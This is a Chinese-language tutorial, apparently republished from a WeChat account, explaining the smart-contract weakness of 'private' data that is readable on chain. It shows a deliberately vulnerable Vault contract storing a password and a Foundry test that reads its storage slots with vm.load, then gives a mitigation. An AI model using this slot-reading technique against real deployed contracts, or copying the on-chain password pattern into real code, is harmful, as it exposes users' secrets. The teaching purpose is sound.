描述:Solidity 将合约中定义的变量存储在槽位中。每个槽位可以容纳最多32字节或256位。考虑到所有链上存储的数据,无论是公开还是私有的,都可以被读取,因此可以通过预测私有数据所在的内存槽位来从 Vault 合约中读取私有数据。
如果 Vault 合约在生产环境中被使用,攻击者可以采用类似的技术来访问敏感信息,例如用户密码。
缓解措施:避免在链上存储敏感数据。
Vault 合约:
contract Vault {
// slot 0
uint256 private password;
constructor(uint256 _password) {
password = _password;
// 定义一个 User 类型的内存变量,初始化 id 为 0,password 为 _password 的 bytes32 形式
User memory user = User({id: 0, password: bytes32(_password)});
users.push(user);
idToUser[0] = user;
}
struct User {
uint id;
bytes32 password;
}
// slot 1
User[] public users;
// slot 2
mapping(uint => User) public idToUser;
// 计算数组元素的存储位置
function getArrayLocation(
uint slot,
uint index,
uint elementSize
) public pure returns (bytes32) {
// 计算存储位置的公式
uint256 a = uint(keccak256(abi.encodePacked(slot))) +
(index * elementSize);
return bytes32(a);
}
}
如何测试:
使用 forge test --contracts src/test/Privatedata.sol-vvvv
命令进行测试。
// 测试读取私有数据的函数声明,这是一个公开函数。
function testReadprivatedata() public {
// 使用参数 `123456789` 创建 Vault 合约的新实例。
VaultContract = new Vault(123456789);
// 使用 Vault 合约的地址和位置 (0) 调用 `vm.load` 函数。
// `vm.load` 函数从合约的给定存储槽位中加载数据。
// 这里,读取了合约的第 0 个存储槽位。在 Solidity 中,存储布局从槽位 0 开始。
bytes32 leet = vm.load(address(VaultContract), bytes32(uint256(0)));
// 记录第一个存储槽位的值,将 bytes32 值转换为 uint256。
console.log(uint256(leet));
// 再次调用 `vm.load` 函数,但这次使用 VaultContract 中的 `getArrayLocation` 方法
// 来计算特定数组元素的存储槽位。这是因为在 Ethereum 中数组不是存储在连续块中,而是每个元素都被哈希以找到其位置。
// 这里,假设 Vault 合约中有一个数组,你正在尝试访问基于你的参数的槽位 1 中的数据
bytes32 user = vm.load(
address(VaultContract),
VaultContract.getArrayLocation(1, 1, 1)
);
// 记录从合约存储中读取的特定数组元素的值,从 bytes32 转换为 uint256。
console.log(uint256(user));
}
红框:成功读取私有数据。
原文始发于微信公众号(3072):智能合约漏洞入门(8)- 私有数据泄露